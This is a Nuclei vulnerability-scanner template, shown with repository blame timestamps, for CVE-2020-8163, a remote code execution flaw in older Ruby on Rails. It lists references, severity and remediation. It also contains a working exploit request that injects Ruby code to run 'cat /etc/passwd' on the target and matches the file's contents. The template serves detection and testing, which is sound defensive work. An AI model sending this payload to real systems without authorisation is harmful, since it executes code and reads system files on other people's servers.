nuclei-templates/http/cves/2020/CVE-2020-8163.yaml

46 lines
1.4 KiB
YAML
Raw Normal View History

2021-01-02 04:56:15 +00:00
id: CVE-2020-8163
info:
name: Ruby on Rails <5.0.1 - Remote Code Execution
author: tim_koopmans
severity: high
description: Ruby on Rails before version 5.0.1 is susceptible to remote code execution because it passes user parameters as local variables into partials.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade Ruby on Rails to version 5.0.1 or above.
reference:
- https://hackerone.com/reports/304805
- https://groups.google.com/g/rubyonrails-security/c/hWuKcHyoKh0
- https://lists.debian.org/debian-lts-announce/2020/07/msg00013.html
- https://nvd.nist.gov/vuln/detail/CVE-2020-8163
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-8163
cwe-id: CWE-94
epss-score: 0.96793
epss-percentile: 0.99559
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:rubyonrails:rails:*:*:*:*:*:*:*:*
metadata:
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: rubyonrails
product: rails
tags: cve,cve2020,rails,rce,hackerone
http:
- method: GET
path:
- "{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23"
2022-07-02 11:31:46 +00:00
matchers-condition: and
matchers:
- type: regex
2022-07-02 11:31:46 +00:00
part: body
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2022-07-02 11:31:46 +00:00
- type: status
status:
- 200
# digest: 4b0a0048304602210090a1b24d0d3f74045a839e927b9cb7a2804e05abaa9c6f808c055c70f38757b3022100b8e185ac09c38cce5081db7cb4fef6eeee8fb0640f3f0854c03e1a904e317844:922c64590222798bb761d5b6d8e72950